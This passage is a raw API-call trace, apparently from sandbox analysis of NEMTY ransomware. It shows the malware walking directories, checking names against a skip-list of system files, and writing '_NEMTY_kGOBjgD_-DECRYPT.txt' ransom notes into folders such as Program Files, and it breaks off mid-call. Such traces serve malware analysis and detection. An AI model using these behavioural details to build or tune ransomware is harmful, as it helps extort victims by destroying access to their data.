ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.350] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.350] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.350] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23f11d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0051.350] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0051.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0051.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.351] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23f11d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0051.351] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63455d0 | out: hHeap=0x4f90000) returned 1 [0051.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0051.351] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23f11d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0051.351] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0051.352] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0051.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.353] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23f11d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0051.353] FindClose (in: hFindFile=0x34239b0 | out: hFindFile=0x34239b0) returned 1 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.353] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc43a62b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xc43a62b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2=".") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="..") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="...") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="windows") returned -1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="$RECYCLE.BIN") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="rsa") returned -1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="NTDETECT.COM") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="ntldr") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="MSDOS.SYS") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="IO.SYS") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="boot.ini") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="boot.ini") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="AUTOEXEC.BAT") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="ntuser.dat") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="desktop.ini") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="CONFIG.SYS") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="RECYCLER") returned -1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="BOOTSECT.BAK") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="bootmgr") returned 1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="programdata") returned -1 [0051.353] lstrcmpiW (lpString1="Program Files", lpString2="appdata") returned 1 [0051.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files", cchWideChar=13, lpMultiByteStr=0x653fc10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Program Files", lpUsedDefaultChar=0x0) returned 13 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Program Files", cchWideChar=13, lpMultiByteStr=0x653fc10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Program Files", lpUsedDefaultChar=0x0) returned 13 [0051.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0051.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f91590 [0051.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.354] CreateFileW (lpFileName="C:\\Program Files\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0051.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.355] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.355] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0051.356] CloseHandle (hObject=0x3bc) returned 1 [0051.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f91590 [0051.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.357] CreateFileW (lpFileName="C:\\Program Files\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0051.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.357] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.357] WriteFile (in: 